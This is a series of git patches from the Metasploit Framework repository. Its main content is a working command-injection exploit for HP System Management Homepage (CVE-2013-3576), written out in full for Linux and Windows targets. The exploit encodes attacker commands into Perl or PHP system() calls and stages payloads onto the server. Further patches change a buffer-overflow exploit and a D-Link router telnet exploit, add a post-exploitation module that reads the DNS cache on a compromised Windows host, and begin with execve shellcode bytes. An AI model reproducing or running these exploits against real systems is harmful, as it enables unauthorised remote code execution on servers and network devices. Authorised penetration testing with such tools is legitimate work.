rdi - "\x48\x89\xe6" + # mov rsi, rsp + arg_str + # CMD + "\x5f" + # pop rdi + if cmd_parts.length > 1 + "\x48\x89\xf9" + # mov rcx, rdi + "\x50" + # push null + # for each arg, push its current memory location on to the stack + cmd_parts[1..-1].each_with_index.map do |arg, idx| + "\x48\x81\xc1" + # add rcx + ... + [cmd_parts[idx].length+1].pack('V') + # + "\x51" # push rcx (build str array) + end.join + else + "\x50" # push null + end + + "\x57"+ # push rdi + "\x48\x89\xe6"+ # mov rsi, rsp + "\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve) "\x0f\x05" # syscall end end From 4a127c2ed21120528ead9df11903ef4ee8d220ed Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Wed, 31 Jul 2013 22:05:25 +0200 Subject: [PATCH 083/454] Add hp_sys_mgmt_exec module for Linux and enhance module for Windows The hp_sys_mgmt_exec module for Linux is a port of the Windows module with minor changes due to the requirement of quotes. It also uses Perl instead of PHP as PHP may not always be in the environment PATH. Although the Windows module works perfectly, it now uses the same technique to encode the command (thankfully, PHP adopted major syntax characteristics and functions from Perl). --- .../exploits/linux/http/hp_sys_mgmt_exec.rb | 190 ++++++++++++++++++ .../exploits/windows/http/hp_sys_mgmt_exec.rb | 116 ++++++----- 2 files changed, 247 insertions(+), 59 deletions(-) create mode 100644 modules/exploits/linux/http/hp_sys_mgmt_exec.rb diff --git a/modules/exploits/linux/http/hp_sys_mgmt_exec.rb b/modules/exploits/linux/http/hp_sys_mgmt_exec.rb new file mode 100644 index 0000000000000..c29f5ba2fab5b --- /dev/null +++ b/modules/exploits/linux/http/hp_sys_mgmt_exec.rb @@ -0,0 +1,190 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStagerBourne + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection", + 'Description' => %q{ + This module exploits a vulnerability found in HP System Management Homepage. By + supplying a specially crafted HTTP request, it is possible to control the + 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), + which will be used in a exec() function. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Markus Wulftange', # Discovery & Metasploit + 'sinn3r' # Windows Metasploit + ], + 'References' => + [ + ['CVE', '2013-3576'], + ['OSVDB', '94191'], + ['US-CERT-VU', '735364'] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Platform' => 'linux', + 'Targets' => + [ + ['Linux', { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + }], + ['Linux (x64)', { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64 + }], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jun 11 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(2381), + # USERNAME/PASS may not be necessary, because the anonymous access is possible + OptString.new("USERNAME", [false, 'The username to authenticate as']), + OptString.new("PASSWORD", [false, 'The password to authenticate with']) + ], self.class) + end + + + def peer + "#{rhost}:#{rport}" + end + + + def check + @cookie = '' + + sig = Rex::Text.rand_text_alpha(10) + cmd = "echo #{sig}&&whoami&&echo #{sig}" + + res = send_command(cmd) + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + end + + if res.code == 200 && res.body =~ /#{sig}/ + print_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'") + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + + def login + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + cookie = '' + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/proxy/ssllogin', + 'vars_post' => { + 'redirecturl' => '', + 'redirectquerystring' => '', + 'user' => username, + 'password' => password + } + }) + + if not res + fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login") + end + + # CpqElm-Login: success + if res.headers['CpqElm-Login'].to_s =~ /success/ + cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' + end + + cookie + end + + + def setup_stager + execute_cmdstager({ :temp => './', :linemax => 2800 }) + end + + + def execute_command(cmd, opts={}) + # Encodes command as sequence of hex values to be passed to the Perl + # function `pack("N*", ...)` that is then used in a `system(...)` call. + + # trailing bytes need to be handled separately + rem = cmd.size % 4 + if rem != 0 + last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(").chr(")})" + cmd = cmd[0...-rem] + end + + # convert double words into hex representation + dwords = cmd.each_byte.each_slice(4).map { |dw| + sprintf("0x%x", dw.pack("C*").unpack("N")[0]) + } + + # build final Perl code that is getting executed + perl_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});" + + # build Perl invocation command + cmd = "perl -e '#{perl_code}'" + + res = send_command(cmd) + if res && res.code != 200 + vprint_error("Unexpected response:\n#{res}") + fail_with(Exploit::Failure::Unknown, "There was an unexpected response") + end + end + + + def send_command(cmd) + if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty? + @cookie = login + if @cookie.empty? + fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") + else + print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") + end + end + + req_opts = {} + req_opts['uri'] = generate_uri(cmd) + unless @cookie.empty? + browser_chk = 'HPSMH-browser-check=done for this session' + curl_loc = "curlocation-#{datastore['USERNAME']}=" + req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" + end + + send_request_raw(req_opts) + end + + + def generate_uri(cmd) + "#{normalize_uri("smhutil","snmpchp/")}&#{cmd.gsub(/ /, "%20")}&&echo" + end + + + def exploit + @cookie = '' + + setup_stager + end +end \ No newline at end of file diff --git a/modules/exploits/windows/http/hp_sys_mgmt_exec.rb b/modules/exploits/windows/http/hp_sys_mgmt_exec.rb index 13a6874734a08..0a1ca2487d025 100644 --- a/modules/exploits/windows/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/windows/http/hp_sys_mgmt_exec.rb @@ -42,7 +42,14 @@ def initialize(info={}) 'Platform' => 'win', 'Targets' => [ - ['Windows', {}], + ['Windows', { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + }], + ['Windows (x64)', { + 'Platform' => 'win', + 'Arch' => ARCH_X86_64 + }] ], 'Privileged' => false, 'DisclosureDate' => "Jun 11 2013", @@ -64,37 +71,19 @@ def peer def check - cookie = '' - - if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty? - cookie = login - if cookie.empty? - print_error("#{peer} - Login failed") - return Exploit::CheckCode::Safe - else - print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") - end - end + @cookie = '' sig = Rex::Text.rand_text_alpha(10) - cmd = Rex::Text.uri_encode("echo #{sig}") - uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo" - - req_opts = {} - req_opts['uri'] = uri - if not cookie.empty? - browser_chk = 'HPSMH-browser-check=done for this session' - curl_loc = "curlocation-#{datastore['USERNAME']}=" - req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}" - end + cmd = "echo #{sig}&&whoami&&echo #{sig}" - res = send_request_raw(req_opts) + res = send_command(cmd) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end - if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/ + if res.code == 200 && res.body =~ /#{sig}/ + print_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'") return Exploit::CheckCode::Vulnerable end @@ -133,52 +122,42 @@ def login def setup_stager - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.', :linemax => 2800 }) end def execute_command(cmd, opts={}) - # Payload will be in: C:\hp\hpsmh\data\htdocs\smhutil - # Convert cmd to single quoted PHP string while replacing bad character sequences - bad_chars = /([\x00-\x20\x22\x23\x26\x2f\x3c\x3e\x5b-\x5e\x60\x7b-\x7d\x7f-\xff]+)/ - cmd = cmd.split(bad_chars).map.with_index { |v,k| - # every odd match is a sequence of bad characters - if k.modulo(2) == 1 - if v.length < 3 - # chr() is shorter for sequences of one or two bad characters - "chr(#{v.each_byte.map(&:ord).join(").chr(")})" - else - # for any longer sequence, pack() is shorter - "pack('C*',#{v.each_byte.map(&:ord).join(",")})" - end - else - # skip empty strings and quote alphanumeric strings - v.empty? ? v : "'#{v}'" - end - }.reject(&:empty?).join(".") - cmd = "php -r system(#{cmd});" - uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo") - - req_opts = {} - req_opts['uri'] = uri - if not @cookie.empty? - browser_chk = 'HPSMH-browser-check=done for this session' - curl_loc = "curlocation-#{datastore['USERNAME']}=" - req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" + # Encodes command as sequence of hex values to be passed to the PHP + # function `pack("N*", ...)` that is then used in a `system(...)` call. + + # trailing bytes need to be handled separately + rem = cmd.size % 4 + if rem != 0 + last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(").chr(")})" + cmd = cmd[0...-rem] end - res = send_request_raw(req_opts) - if !res or res.code != 200 or res.body.include? 'error' + # convert double words into hex representation + dwords = cmd.each_byte.each_slice(4).map { |dw| + sprintf("0x%x", dw.pack("C*").unpack("N")[0]) + } + + # build final PHP code that is getting executed + php_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});" + + # build PHP invocation command + cmd = "php -r #{php_code}" + + res = send_command(cmd) + if res && res.code != 200 vprint_error("Unexpected response:\n#{res}") fail_with(Exploit::Failure::Unknown, "There was an unexpected response") end end - def exploit - @cookie = '' - - if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty? + def send_command(cmd) + if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty? @cookie = login if @cookie.empty? fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") @@ -187,7 +166,26 @@ def exploit end end - @uri = normalize_uri('smhutil', 'snmpchp/') + "&&" + req_opts = {} + req_opts['uri'] = generate_uri(cmd) + unless @cookie.empty? + browser_chk = 'HPSMH-browser-check=done for this session' + curl_loc = "curlocation-#{datastore['USERNAME']}=" + req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" + end + + send_request_raw(req_opts) + end + + + def generate_uri(cmd) + "#{normalize_uri("smhutil","snmpchp/")}&#{cmd.gsub(/ /, "%20")}&&echo" + end + + + def exploit + @cookie = '' + setup_stager end end \ No newline at end of file From f927d1d7d366fb4d2374b203eb59752947fe90f6 Mon Sep 17 00:00:00 2001 From: Ruslaideemin Date: Fri, 2 Aug 2013 09:06:20 +1000 Subject: [PATCH 084/454] Increase exploit reliability From some limited testing, it appears that this exploit is missing \x0d\x0a in the bad chars. If the generated payload / hunter or egg contain that combination, it seems to cause reliability issues and exploitation fails. The home page for this software can be found at http://www.leighb.com/intrasrv.htm --- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 41861f0ea4b52..e22018dd3a9c7 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -39,7 +39,7 @@ def initialize(info={}) { 'Space' => 4660, 'StackAdjustment' => -3500, - 'BadChars' => "\x00" + 'BadChars' => "\x00\x0d\x0a" }, 'DefaultOptions' => { From a19afd163aac31af3d4b496cfeb28a4c658ba130 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 2 Aug 2013 17:30:39 +0200 Subject: [PATCH 085/454] feedback included --- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 34695028f0d2d..6244c894ae8e1 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper include Msf::Auxiliary::CommandShell def initialize(info = {}) @@ -67,7 +66,6 @@ def initialize(info = {}) register_options( [ - Opt::RPORT(80), #port of the webinterface OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']), @@ -132,8 +130,7 @@ def exploit_cmd if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end - cmd = "#{payload.encoded}" - res = request(cmd) + res = request(payload.encoded) if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end From 8cc07cc57134b3aa209161d94675e880e7afd2f6 Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Fri, 2 Aug 2013 18:49:03 +0200 Subject: [PATCH 086/454] Merge Linux and Windows exploit in multi platform exploit --- .../{linux => multi}/http/hp_sys_mgmt_exec.rb | 34 +++- .../exploits/windows/http/hp_sys_mgmt_exec.rb | 191 ------------------ 2 files changed, 27 insertions(+), 198 deletions(-) rename modules/exploits/{linux => multi}/http/hp_sys_mgmt_exec.rb (84%) mode change 100644 => 100755 delete mode 100644 modules/exploits/windows/http/hp_sys_mgmt_exec.rb diff --git a/modules/exploits/linux/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb old mode 100644 new mode 100755 similarity index 84% rename from modules/exploits/linux/http/hp_sys_mgmt_exec.rb rename to modules/exploits/multi/http/hp_sys_mgmt_exec.rb index c29f5ba2fab5b..d1e1d1932a98b --- a/modules/exploits/linux/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerBourne + include Msf::Exploit::CmdStagerVBS include Msf::Exploit::Remote::HttpClient def initialize(info={}) @@ -49,6 +49,14 @@ def initialize(info={}) 'Platform' => 'linux', 'Arch' => ARCH_X86_64 }], + ['Windows', { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + }], + ['Windows (x64)', { + 'Platform' => 'win', + 'Arch' => ARCH_X86_64 + }], ], 'Privileged' => false, 'DisclosureDate' => "Jun 11 2013", @@ -121,12 +129,16 @@ def login def setup_stager - execute_cmdstager({ :temp => './', :linemax => 2800 }) + case target.opts['Platform'] + when "linux" then opts = { :temp => './', :linemax => 2800 } + when "win" then opts = { :temp => '.', :linemax => 2800 } + end + execute_cmdstager(opts) end def execute_command(cmd, opts={}) - # Encodes command as sequence of hex values to be passed to the Perl + # Encodes command as sequence of hex values to be passed to the Perl/PHP # function `pack("N*", ...)` that is then used in a `system(...)` call. # trailing bytes need to be handled separately @@ -141,11 +153,16 @@ def execute_command(cmd, opts={}) sprintf("0x%x", dw.pack("C*").unpack("N")[0]) } - # build final Perl code that is getting executed - perl_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});" + # build final Perl/PHP code that is getting executed + script_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});" # build Perl invocation command - cmd = "perl -e '#{perl_code}'" + case target.opts['Platform'] + # Perl for Linux as it's more likely to be in the PATH + when "linux" then cmd = "perl -e '#{script_code}'" + # PHP for Windows + when "win" then cmd = "php -r #{script_code}" + end res = send_command(cmd) if res && res.code != 200 @@ -185,6 +202,9 @@ def generate_uri(cmd) def exploit @cookie = '' + extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux" + setup_stager end -end \ No newline at end of file +end + diff --git a/modules/exploits/windows/http/hp_sys_mgmt_exec.rb b/modules/exploits/windows/http/hp_sys_mgmt_exec.rb deleted file mode 100644 index 0a1ca2487d025..0000000000000 --- a/modules/exploits/windows/http/hp_sys_mgmt_exec.rb +++ /dev/null @@ -1,191 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::CmdStagerVBS - include Msf::Exploit::Remote::HttpClient - - def initialize(info={}) - super(update_info(info, - 'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection", - 'Description' => %q{ - This module exploits a vulnerability found in HP System Management Homepage. By - supplying a specially crafted HTTP request, it is possible to control the - 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), - which will be used in a exec() function. This results in arbitrary code execution - under the context of SYSTEM. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Markus Wulftange', # Discovery & improved CmdStagerVBS - 'sinn3r' # Metasploit - ], - 'References' => - [ - ['CVE', '2013-3576'], - ['OSVDB', '94191'], - ['US-CERT-VU', '735364'] - ], - 'DefaultOptions' => - { - 'SSL' => true - }, - 'Platform' => 'win', - 'Targets' => - [ - ['Windows', { - 'Platform' => 'win', - 'Arch' => ARCH_X86 - }], - ['Windows (x64)', { - 'Platform' => 'win', - 'Arch' => ARCH_X86_64 - }] - ], - 'Privileged' => false, - 'DisclosureDate' => "Jun 11 2013", - 'DefaultTarget' => 0)) - - register_options( - [ - Opt::RPORT(2381), - # USERNAME/PASS may not be necessary, because the anonymous access is possible - OptString.new("USERNAME", [false, 'The username to authenticate as']), - OptString.new("PASSWORD", [false, 'The password to authenticate with']) - ], self.class) - end - - - def peer - "#{rhost}:#{rport}" - end - - - def check - @cookie = '' - - sig = Rex::Text.rand_text_alpha(10) - cmd = "echo #{sig}&&whoami&&echo #{sig}" - - res = send_command(cmd) - if not res - print_error("#{peer} - Connection timed out") - return Exploit::CheckCode::Unknown - end - - if res.code == 200 && res.body =~ /#{sig}/ - print_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'") - return Exploit::CheckCode::Vulnerable - end - - Exploit::CheckCode::Safe - end - - - def login - username = datastore['USERNAME'] - password = datastore['PASSWORD'] - - cookie = '' - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/proxy/ssllogin', - 'vars_post' => { - 'redirecturl' => '', - 'redirectquerystring' => '', - 'user' => username, - 'password' => password - } - }) - - if not res - fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login") - end - - # CpqElm-Login: success - if res.headers['CpqElm-Login'].to_s =~ /success/ - cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' - end - - cookie - end - - - def setup_stager - execute_cmdstager({ :temp => '.', :linemax => 2800 }) - end - - - def execute_command(cmd, opts={}) - # Encodes command as sequence of hex values to be passed to the PHP - # function `pack("N*", ...)` that is then used in a `system(...)` call. - - # trailing bytes need to be handled separately - rem = cmd.size % 4 - if rem != 0 - last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(").chr(")})" - cmd = cmd[0...-rem] - end - - # convert double words into hex representation - dwords = cmd.each_byte.each_slice(4).map { |dw| - sprintf("0x%x", dw.pack("C*").unpack("N")[0]) - } - - # build final PHP code that is getting executed - php_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});" - - # build PHP invocation command - cmd = "php -r #{php_code}" - - res = send_command(cmd) - if res && res.code != 200 - vprint_error("Unexpected response:\n#{res}") - fail_with(Exploit::Failure::Unknown, "There was an unexpected response") - end - end - - - def send_command(cmd) - if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty? - @cookie = login - if @cookie.empty? - fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") - else - print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") - end - end - - req_opts = {} - req_opts['uri'] = generate_uri(cmd) - unless @cookie.empty? - browser_chk = 'HPSMH-browser-check=done for this session' - curl_loc = "curlocation-#{datastore['USERNAME']}=" - req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" - end - - send_request_raw(req_opts) - end - - - def generate_uri(cmd) - "#{normalize_uri("smhutil","snmpchp/")}&#{cmd.gsub(/ /, "%20")}&&echo" - end - - - def exploit - @cookie = '' - - setup_stager - end -end \ No newline at end of file From 3e6de5d2e99ab079ed7049895afe9d5c8d042067 Mon Sep 17 00:00:00 2001 From: bmerinofe Date: Sat, 3 Aug 2013 13:37:32 +0200 Subject: [PATCH 087/454] added a post-exploitation module to dump the cache dns entries --- modules/post/windows/gather/dnscache_dump.rb | 56 ++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 modules/post/windows/gather/dnscache_dump.rb diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb new file mode 100644 index 0000000000000..b67a5048cb91f --- /dev/null +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather DNS Cache', + 'Description' => %q{ This module displays the records stored in the DNS cache.}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Borja Merino '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + ], self.class) + end + + def run + rtable = Rex::Ui::Text::Table.new( + 'Header' => 'DNS Cached Entries', + 'Indent' => 3, + 'Columns' => ['TYPE', 'DOMAIN'] + ) + + client.railgun.add_dll('dnsapi') if not client.railgun.get_dll('dnsapi') + client.railgun.add_function("dnsapi", "DnsGetCacheDataTable", "DWORD", [["PBLOB","cacheEntries","inout"]]) + result = client.railgun.dnsapi.DnsGetCacheDataTable("aaaa") + address = result['cacheEntries'].unpack('V').first + + # typedef struct _DNS_CACHE_ENTRY + # struct _DNS_CACHE_ENTRY* pNext; + # PWSTR pszName; + # unsigned short wType; + # unsigned short wDataLength; + # unsigned long dwFlags; + + while (address != 0 ) do + struct_pointer = client.railgun.memread(address,10) + # Get the pointer to the DNS record name + domain_pointer = struct_pointer[4,8].unpack('V').first + dns_type = struct_pointer[8,10].unpack('h*')[0].reverse + domain_name = client.railgun.memread(domain_pointer,50).split("\x00\x00").first + rtable << [dns_type, domain_name] + # Get the next _DNS_CACHE_ENTRY struct pointer + address = struct_pointer[0,4].unpack('V').first + end + print_status(rtable.to_s) + end +end From 8be3f511a43892118bb4e336dec9af73183f7e59 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 3 Aug 2013 21:35:22 -0500 Subject: [PATCH 088/454] Fix undefined variable 'path' for http_login --- modules/auxiliary/scanner/http/http_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index fe1f14d1b5322..049ad7da4a184 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -86,7 +86,7 @@ def find_auth_uri return path end - return path + return nil end def target_url From 9955899d9a2f94df08d8bccb8ee31df9a7162118 Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Sun, 4 Aug 2013 08:03:02 +0200 Subject: [PATCH 089/454] Minor formal fixes --- modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index d1e1d1932a98b..66e3eb86c6965 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -25,8 +25,8 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Markus Wulftange', # Discovery & Metasploit - 'sinn3r' # Windows Metasploit + 'Markus Wulftange', # Discovery & multi-platform Metasploit module + 'sinn3r' # initial Windows Metasploit module ], 'References' => [ @@ -38,7 +38,7 @@ def initialize(info={}) { 'SSL' => true }, - 'Platform' => 'linux', + 'Platform' => ['linux', 'win'], 'Targets' => [ ['Linux', { @@ -156,7 +156,7 @@ def execute_command(cmd, opts={}) # build final Perl/PHP code that is getting executed script_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});" - # build Perl invocation command + # build Perl/PHP invocation command case target.opts['Platform'] # Perl for Linux as it's more likely to be in the PATH when "linux" then cmd = "perl -e '#{script_code}'" From 98c8c168034222f206701520889238595bac459f Mon Sep 17 00:00:00 2001 From: bmerinofe Date: Mon, 5 Aug 2013 12:29:54 +0200 Subject: [PATCH 090/454] Change offset values and hostname length --- Gemfile.lock | 62 +++++++++----------- modules/post/windows/gather/dnscache_dump.rb | 11 ++-- 2 files changed, 33 insertions(+), 40 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 503c913cd9111..1ac9a6fb03f3e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,62 +1,58 @@ GEM remote: http://rubygems.org/ specs: - activemodel (3.2.13) - activesupport (= 3.2.13) + activemodel (3.2.14) + activesupport (= 3.2.14) builder (~> 3.0.0) - activerecord (3.2.13) - activemodel (= 3.2.13) - activesupport (= 3.2.13) + activerecord (3.2.14) + activemodel (= 3.2.14) + activesupport (= 3.2.14) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.13) - i18n (= 0.6.1) + activesupport (3.2.14) + i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) arel (3.0.2) - bourne (1.4.0) - mocha (~> 0.13.2) builder (3.0.4) - database_cleaner (0.9.1) - diff-lcs (1.2.2) + database_cleaner (1.1.1) + diff-lcs (1.2.4) factory_girl (4.2.0) activesupport (>= 3.0.0) - i18n (0.6.1) - json (1.7.7) - metaclass (0.0.1) - metasploit_data_models (0.16.1) + i18n (0.6.4) + json (1.8.0) + metasploit_data_models (0.16.5) activerecord (>= 3.2.13) activesupport pg - mocha (0.13.3) - metaclass (~> 0.0.1) - msgpack (0.5.4) + mini_portile (0.5.1) + msgpack (0.5.5) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.5.9) + nokogiri (1.6.0) + mini_portile (~> 0.5.0) packetfu (1.1.8) pcaprub (0.11.3) - pg (0.15.1) - rake (10.0.4) - redcarpet (2.2.2) + pg (0.16.0) + rake (10.1.0) + redcarpet (3.0.0) robots (0.10.1) - rspec (2.13.0) - rspec-core (~> 2.13.0) - rspec-expectations (~> 2.13.0) - rspec-mocks (~> 2.13.0) - rspec-core (2.13.1) - rspec-expectations (2.13.0) + rspec (2.14.1) + rspec-core (~> 2.14.0) + rspec-expectations (~> 2.14.0) + rspec-mocks (~> 2.14.0) + rspec-core (2.14.4) + rspec-expectations (2.14.0) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.13.0) - shoulda-matchers (1.5.2) + rspec-mocks (2.14.2) + shoulda-matchers (2.2.0) activesupport (>= 3.0.0) - bourne (~> 1.3) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - timecop (0.6.1) + timecop (0.6.2.2) tzinfo (0.3.37) - yard (0.8.5.2) + yard (0.8.7) PLATFORMS ruby diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb index b67a5048cb91f..f3f42706face3 100644 --- a/modules/post/windows/gather/dnscache_dump.rb +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -16,10 +16,6 @@ def initialize(info={}) 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) - - register_options( - [ - ], self.class) end def run @@ -44,9 +40,10 @@ def run while (address != 0 ) do struct_pointer = client.railgun.memread(address,10) # Get the pointer to the DNS record name - domain_pointer = struct_pointer[4,8].unpack('V').first - dns_type = struct_pointer[8,10].unpack('h*')[0].reverse - domain_name = client.railgun.memread(domain_pointer,50).split("\x00\x00").first + domain_pointer = struct_pointer[4,4].unpack('V').first + dns_type = struct_pointer[8,2].unpack('h*')[0].reverse + # According to the restrictions on valid host names, we read a maximum of 255 characters for each entry + domain_name = client.railgun.memread(domain_pointer,255).split("\x00\x00").first rtable << [dns_type, domain_name] # Get the next _DNS_CACHE_ENTRY struct pointer address = struct_pointer[0,4].unpack('V').first From 5ef1e507b8e8e3ea79b6507f0f59887c6a9a7b4f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 5 Aug 2013 08:41:07 -0500 Subject: [PATCH 091/454] Make msftidy happy with http_login --- modules/auxiliary/scanner/http/http_login.rb | 28 ++++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 049ad7da4a184..7d5a90179be55 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -149,20 +149,20 @@ def do_login(user='admin', pass='admin') print_status("#{target_url} - Random passwords are not allowed.") end - unless (user == "anyuser" and pass == "anypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 